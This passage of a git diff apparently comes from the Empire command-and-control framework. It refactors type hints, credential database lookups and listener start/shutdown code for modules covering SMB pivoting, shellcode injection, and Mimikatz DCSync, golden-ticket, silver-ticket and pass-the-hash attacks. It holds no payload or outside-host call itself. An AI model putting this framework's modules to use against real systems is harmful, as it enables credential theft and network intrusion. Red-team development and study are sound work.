- agent = self.mainMenu.agentsv2.get_by_id(db, sessionID)
- self.mainMenu.agenttasksv2.create_task_shell(db, agent, script)
+ self.mainMenu.agenttasksv2.create_task_shell(db, agent, script)
msg = "Tasked agent to uninstall Pivot listener "
- self.mainMenu.agents.save_agent_log(sessionID, msg)
+ self.mainMenu.agents.save_agent_log(agent.session_id, msg)
- elif self.mainMenu.agents.get_language_db(sessionID).startswith("py"):
+ elif agent.language.startswith("py"):
log.error("Shutdown not implemented for python")
-
- else:
- log.error("Agent is not present in the cache or not elevated")
-
- pass
diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py
index af8c26cde..d49b8b8fa 100755
--- a/empire/server/listeners/smb.py
+++ b/empire/server/listeners/smb.py
@@ -3,7 +3,6 @@
import logging
import os
import random
-from typing import List, Optional, Tuple
from empire.server.common import encryption, helpers, packets, templating
from empire.server.common.empire import MainMenu
@@ -68,7 +67,7 @@ def default_response(self):
self.instance_log.info("default_response() not implemented for pivot listeners")
return b""
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -86,7 +85,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -104,7 +103,7 @@ def generate_launcher(
host = listenerOptions["Host"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
- uris = [a for a in profile.split("|")[0].split(",")]
+ uris = list(profile.split("|")[0].split(","))
stage0 = random.choice(uris)
customHeaders = profile.split("|")[2:]
@@ -332,9 +331,9 @@ def generate_agent(
delay = listenerOptions["DefaultDelay"]["Value"]
jitter = listenerOptions["DefaultJitter"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
- lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
- killDate = listenerOptions["KillDate"]["Value"]
- workingHours = listenerOptions["WorkingHours"]["Value"]
+ listenerOptions["DefaultLostLimit"]["Value"]
+ listenerOptions["KillDate"]["Value"]
+ listenerOptions["WorkingHours"]["Value"]
b64DefaultResponse = self.b64DefaultResponse
if language == "powershell":
@@ -352,26 +351,18 @@ def generate_agent(
code = helpers.strip_python_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
- code = code.replace("delay = 60", "delay = %s" % (delay))
- code = code.replace("jitter = 0.0", "jitter = %s" % (jitter))
+ code = code.replace("delay=60", "delay=%s" % (delay))
+ code = code.replace("jitter=0.0", "jitter=%s" % (jitter))
code = code.replace(
'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
'profile = "%s"' % (profile),
)
- code = code.replace("lostLimit = 60", "lostLimit = %s" % (lostLimit))
+
code = code.replace(
- 'defaultResponse = base64.b64decode("")',
- "defaultResponse = base64.b64decode(%s)" % (b64DefaultResponse),
+ 'self.defaultResponse = base64.b64decode("")',
+ "self.defaultResponse = base64.b64decode(%s)" % (b64DefaultResponse),
)
- # patch in the killDate and workingHours if they're specified
- if killDate != "":
- code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate))
- if workingHours != "":
- code = code.replace(
- 'workingHours = ""', 'workingHours = "%s"' % (killDate)
- )
-
if obfuscate:
code = self.mainMenu.obfuscationv2.python_obfuscate(code)
code = self.mainMenu.obfuscationv2.obfuscate_keywords(code)
@@ -424,28 +415,29 @@ def generate_comms(self, listenerOptions, language=None):
else:
log.error("generate_comms(): no language specified!")
- def start(self, name=""):
+ def start(self):
"""
If a server component needs to be started, implement the kick off logic
here and the actual server code in another function to facilitate threading
(i.e. start_server() in the http listener).
"""
try:
+ name = self.options["Name"]["Value"]
tempOptions = copy.deepcopy(self.options)
- sessionID = self.mainMenu.agents.get_agent_id_db(
- self.options["Agent"]["Value"]
- )
- if self.mainMenu.agents.is_agent_present(sessionID):
- with SessionLocal.begin() as db:
- agent = self.mainMenu.agentsv2.get_by_id(
- db, self.options["Agent"]["Value"]
- )
- self.mainMenu.agenttasksv2.create_task_smb(
- db, agent, name + "|" + self.options["PipeName"]["Value"]
- )
- self.parent_agent = agent.session_id
- parent_listener_name = agent.listener
+ with SessionLocal() as db:
+ agent = self.mainMenu.agentsv2.get_by_id(
+ db, self.options["Agent"]["Value"]
+ )
+
+ if not agent:
+ return
+
+ self.mainMenu.agenttasksv2.create_task_smb(
+ db, agent, name + "|" + self.options["PipeName"]["Value"]
+ )
+ self.parent_agent = agent.session_id
+ parent_listener_name = agent.listener
log.info(
f"{self.options['Agent']['Value']}: SMB pivot server task request send to agent"
@@ -489,7 +481,7 @@ def start(self, name=""):
except Exception:
return False
- def shutdown(self, name=""):
+ def shutdown(self):
"""
If a server component was started, implement the logic that kills the particular
named listener here.
diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py
index cb49d4a77..7b654beb5 100644
--- a/empire/server/listeners/template.py
+++ b/empire/server/listeners/template.py
@@ -1,8 +1,7 @@
import random
+import time
# Empire imports
-from typing import List, Optional, Tuple
-
from empire.server.common import helpers
from empire.server.utils import data_util
from empire.server.utils.module_util import handle_validate_message
@@ -131,7 +130,7 @@ def __init__(self, mainMenu):
# required:
self.mainMenu = mainMenu
- self.threads = {} # used to keep track of any threaded instances of this server
+ self.thread = None
# optional/specific for this module
@@ -152,7 +151,7 @@ def default_response(self):
)
return ""
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -177,7 +176,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -192,37 +191,31 @@ def generate_launcher(
)
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listenerOptions = active_listener.options
-
- host = listenerOptions["Host"]["Value"]
- _stagingKey = listenerOptions["StagingKey"]["Value"]
- profile = listenerOptions["DefaultProfile"]["Value"]
- uris = [a.strip("/") for a in profile.split("|")[0].split(",")]
- stage0 = random.choice(uris)
- _launchURI = f"{host}/{stage0}"
-
- if language.startswith("po"):
- # PowerShell
- return ""
-
- if language.startswith("py"):
- # Python
- return ""
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listenerOptions = active_listener.options
- else:
- print(
- helpers.color(
- "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
- )
+ host = listenerOptions["Host"]["Value"]
+ _stagingKey = listenerOptions["StagingKey"]["Value"]
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ uris = [a.strip("/") for a in profile.split("|")[0].split(",")]
+ stage0 = random.choice(uris)
+ _launchURI = f"{host}/{stage0}"
+
+ if language.startswith("po"):
+ # PowerShell
+ return ""
+
+ if language.startswith("py"):
+ # Python
+ return ""
+
+ else:
+ print(
+ helpers.color(
+ "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
)
+ )
def generate_stager(
self,
@@ -313,31 +306,23 @@ def generate_comms(self, listenerOptions, language=None):
)
)
- def start(self, name=""):
+ def start_server(self):
+ pass
+
+ def start(self):
"""
If a server component needs to be started, implement the kick off logic
here and the actual server code in another function to facilitate threading
(i.e. start_server() in the http listener).
"""
-
- # listenerOptions = self.options
- # if name and name != '':
- # self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
- # self.threads[name].start()
- # time.sleep(1)
- # # returns True if the listener successfully started, false otherwise
- # return self.threads[name].is_alive()
- # else:
- # name = listenerOptions['Name']['Value']
- # self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
- # self.threads[name].start()
- # time.sleep(1)
- # # returns True if the listener successfully started, false otherwise
- # return self.threads[name].is_alive()
-
- return True
-
- def shutdown(self, name=""):
+ listenerOptions = self.options
+ self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,))
+ self.thread.start()
+ time.sleep(1)
+ # returns True if the listener successfully started, false otherwise
+ return self.thread.is_alive()
+
+ def shutdown(self):
"""
If a server component was started, implement the logic that kills the particular
named listener here.
diff --git a/empire/server/modules/csharp/Assembly.Covenant.py b/empire/server/modules/csharp/Assembly.Covenant.py
index df158e2c3..5de5d7e71 100755
--- a/empire/server/modules/csharp/Assembly.Covenant.py
+++ b/empire/server/modules/csharp/Assembly.Covenant.py
@@ -1,16 +1,15 @@
-from typing import Dict
-
import yaml
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -21,7 +20,7 @@ def generate(
return None, "csharpserver plugin not running"
# Convert compiler.yaml to python dict
- compiler_dict: Dict = yaml.safe_load(module.compiler_yaml)
+ compiler_dict: dict = yaml.safe_load(module.compiler_yaml)
# delete the 'Empire' key
del compiler_dict[0]["Empire"]
# convert back to yaml string
diff --git a/empire/server/modules/csharp/AssemblyReflect.Covenant.py b/empire/server/modules/csharp/AssemblyReflect.Covenant.py
index 2dd6a4678..a6d85ff24 100755
--- a/empire/server/modules/csharp/AssemblyReflect.Covenant.py
+++ b/empire/server/modules/csharp/AssemblyReflect.Covenant.py
@@ -1,16 +1,15 @@
-from typing import Dict
-
import yaml
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -21,7 +20,7 @@ def generate(
return None, "csharpserver plugin not running"
# Convert compiler.yaml to python dict
- compiler_dict: Dict = yaml.safe_load(module.compiler_yaml)
+ compiler_dict: dict = yaml.safe_load(module.compiler_yaml)
# delete the 'Empire' key
del compiler_dict[0]["Empire"]
# convert back to yaml string
diff --git a/empire/server/modules/csharp/Inject_BOF.Covenant.py b/empire/server/modules/csharp/Inject_BOF.Covenant.py
index 47d7c5b51..a0bbf1da9 100644
--- a/empire/server/modules/csharp/Inject_BOF.Covenant.py
+++ b/empire/server/modules/csharp/Inject_BOF.Covenant.py
@@ -1,16 +1,15 @@
-from typing import Dict
-
import yaml
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -21,7 +20,7 @@ def generate(
return None, "csharpserver plugin not running"
# Convert compiler.yaml to python dict
- compiler_dict: Dict = yaml.safe_load(module.compiler_yaml)
+ compiler_dict: dict = yaml.safe_load(module.compiler_yaml)
# delete the 'Empire' key
del compiler_dict[0]["Empire"]
# convert back to yaml string
diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.py b/empire/server/modules/csharp/ProcessInjection.Covenant.py
index 6482d3111..2e55ab92d 100644
--- a/empire/server/modules/csharp/ProcessInjection.Covenant.py
+++ b/empire/server/modules/csharp/ProcessInjection.Covenant.py
@@ -1,9 +1,12 @@
-from typing import Dict
+try:
+ import donut
+except ModuleNotFoundError:
+ donut = None
-import donut
import yaml
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -11,9 +14,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -29,7 +32,7 @@ def generate(
arch = params["Architecture"]
launcher_obfuscation = params["Obfuscate"]
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
@@ -48,9 +51,11 @@ def generate(
return handle_error_message("[!] Invalid listener: " + listener_name)
if language.lower() == "powershell":
- shellcode = main_menu.stagers.generate_powershell_shellcode(
+ shellcode, err = main_menu.stagers.generate_powershell_shellcode(
launcher, arch=arch, dot_net_version=dot_net_version
)
+ if err:
+ return handle_error_message(err)
elif language.lower() == "csharp":
if arch == "x86":
@@ -60,6 +65,12 @@ def generate(
elif arch == "both":
arch_type = 3
directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe"
+
+ if not donut:
+ return handle_error_message(
+ "module donut-shellcode not installed. It is only supported on x86."
+ )
+
shellcode = donut.create(file=directory, arch=arch_type)
elif language.lower() == "ironpython":
@@ -79,7 +90,7 @@ def generate(
return None, "csharpserver plugin not running"
# Convert compiler.yaml to python dict
- compiler_dict: Dict = yaml.safe_load(module.compiler_yaml)
+ compiler_dict: dict = yaml.safe_load(module.compiler_yaml)
# delete the 'Empire' key
del compiler_dict[0]["Empire"]
# convert back to yaml string
diff --git a/empire/server/modules/csharp/Shellcode.Covenant.py b/empire/server/modules/csharp/Shellcode.Covenant.py
index 23e2233e9..ad744266a 100755
--- a/empire/server/modules/csharp/Shellcode.Covenant.py
+++ b/empire/server/modules/csharp/Shellcode.Covenant.py
@@ -1,16 +1,15 @@
-from typing import Dict
-
import yaml
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -24,7 +23,7 @@ def generate(
return None, "csharpserver plugin not running"
# Convert compiler.yaml to python dict
- compiler_dict: Dict = yaml.safe_load(module.compiler_yaml)
+ compiler_dict: dict = yaml.safe_load(module.compiler_yaml)
# delete the 'Empire' key
del compiler_dict[0]["Empire"]
# convert back to yaml string
diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py
index 8f95d3146..269ebfad2 100644
--- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py
+++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -50,7 +49,7 @@ def generate(
return handle_error_message(err)
script_end = ""
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: %s" % (listener_name))
else:
diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py
index 8d89b5d60..ee9761860 100644
--- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py
+++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py
@@ -1,7 +1,7 @@
import base64
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py
index abcbcd11a..86d8072f5 100644
--- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py
+++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py
@@ -1,15 +1,15 @@
import base64
-from typing import Dict
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py
index c2c7cb32d..71264b052 100644
--- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py
+++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/collection/SharpChromium.py b/empire/server/modules/powershell/collection/SharpChromium.py
index 15e11f55b..1c9fdc737 100644
--- a/empire/server/modules/powershell/collection/SharpChromium.py
+++ b/empire/server/modules/powershell/collection/SharpChromium.py
@@ -1,6 +1,6 @@
import logging
-from typing import Dict
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -10,9 +10,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/collection/WireTap.py b/empire/server/modules/powershell/collection/WireTap.py
index 8e9092845..e6e33fd99 100644
--- a/empire/server/modules/powershell/collection/WireTap.py
+++ b/empire/server/modules/powershell/collection/WireTap.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py
index 9a042341d..4b8bda46e 100644
--- a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py
+++ b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py
@@ -1,15 +1,14 @@
-from typing import Dict
-
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/collection/minidump.py b/empire/server/modules/powershell/collection/minidump.py
index ec77d3a7e..0a38e6a2a 100644
--- a/empire/server/modules/powershell/collection/minidump.py
+++ b/empire/server/modules/powershell/collection/minidump.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/collection/packet_capture.py b/empire/server/modules/powershell/collection/packet_capture.py
index babc0e76a..fb8b43c9c 100644
--- a/empire/server/modules/powershell/collection/packet_capture.py
+++ b/empire/server/modules/powershell/collection/packet_capture.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/collection/screenshot.py b/empire/server/modules/powershell/collection/screenshot.py
index 780845af1..b0dbd719a 100644
--- a/empire/server/modules/powershell/collection/screenshot.py
+++ b/empire/server/modules/powershell/collection/screenshot.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/credentials/credential_injection.py b/empire/server/modules/powershell/credentials/credential_injection.py
index 072a97c15..6e0e2cad3 100644
--- a/empire/server/modules/powershell/credentials/credential_injection.py
+++ b/empire/server/modules/powershell/credentials/credential_injection.py
@@ -1,6 +1,5 @@
-from typing import Dict
-
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +7,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -34,22 +33,23 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- if cred.credtype != "plaintext":
- return handle_error_message(
- "[!] A CredID with a plaintext password must be used!"
- )
+ if cred.credtype != "plaintext":
+ return handle_error_message(
+ "[!] A CredID with a plaintext password must be used!"
+ )
- if cred.domain != "":
- params["DomainName"] = cred.domain
- if cred.username != "":
- params["UserName"] = cred.username
- if cred.password != "":
- params["Password"] = cred.password
+ if cred.domain != "":
+ params["DomainName"] = cred.domain
+ if cred.username != "":
+ params["UserName"] = cred.username
+ if cred.password != "":
+ params["Password"] = cred.password
if (
params["DomainName"] == ""
diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
index f12bb90d4..b3bc8bd0e 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py
index 19267fc4c..c2d5c08e7 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py
@@ -1,7 +1,7 @@
import logging
-from typing import Dict
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -11,9 +11,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -30,19 +30,21 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
- if cred.username != "krbtgt":
- return handle_error_message("[!] A krbtgt account must be used")
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- if cred.domain != "":
- params["domain"] = cred.domain
- if cred.sid != "":
- params["sid"] = cred.sid
- if cred.password != "":
- params["krbtgt"] = cred.password
+ if cred.username != "krbtgt":
+ return handle_error_message("[!] A krbtgt account must be used")
+
+ if cred.domain != "":
+ params["domain"] = cred.domain
+ if cred.sid != "":
+ params["sid"] = cred.sid
+ if cred.password != "":
+ params["krbtgt"] = cred.password
if params["krbtgt"] == "":
log.error("krbtgt hash not specified")
diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py
index a30e9fae3..1eb2d4365 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py
index 4f7db2fed..01bbd01f2 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.py b/empire/server/modules/powershell/credentials/mimikatz/pth.py
index 968aaade0..d7fda4c25 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/pth.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/pth.py
@@ -1,7 +1,7 @@
import logging
-from typing import Dict
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -11,9 +11,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -30,19 +30,21 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
- if cred.credtype != "hash":
- return handle_error_message("[!] An NTLM hash must be used!")
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- if cred.username != "":
- params["user"] = cred.username
- if cred.domain != "":
- params["domain"] = cred.domain
- if cred.password != "":
- params["ntlm"] = cred.password
+ if cred.credtype != "hash":
+ return handle_error_message("[!] An NTLM hash must be used!")
+
+ if cred.username != "":
+ params["user"] = cred.username
+ if cred.domain != "":
+ params["domain"] = cred.domain
+ if cred.password != "":
+ params["ntlm"] = cred.password
if params["ntlm"] == "":
log.error("ntlm hash not specified")
diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py
index 926b18381..b28cefe90 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py
@@ -1,7 +1,6 @@
-from typing import Dict
-
from empire.server.common import helpers
-from empire.server.core.db.models import Credential
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +8,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -28,22 +27,24 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
- if not main_menu.credentials.is_credential_valid(cred_id):
- return handle_error_message("[!] CredID is invalid!")
+ with SessionLocal() as db:
+ cred = main_menu.credentialsv2.get_by_id(db, cred_id)
+
+ if not cred:
+ return handle_error_message("[!] CredID is invalid!")
- cred: Credential = main_menu.credentials.get_credentials(cred_id)
- if not cred.username.endswith("$"):
- return handle_error_message(
- "[!] please specify a machine account credential"
- )
- if cred.domain != "":
- params["domain"] = cred.domain
- if cred.host != "":
- params["target"] = str(cred.host) + "." + str(cred.domain)
- if cred.sid != "":
- params["sid"] = cred.sid
- if cred.password != "":
- params["rc4"] = cred.password
+ if not cred.username.endswith("$"):
+ return handle_error_message(
+ "[!] please specify a machine account credential"
+ )
+ if cred.domain != "":
+ params["domain"] = cred.domain
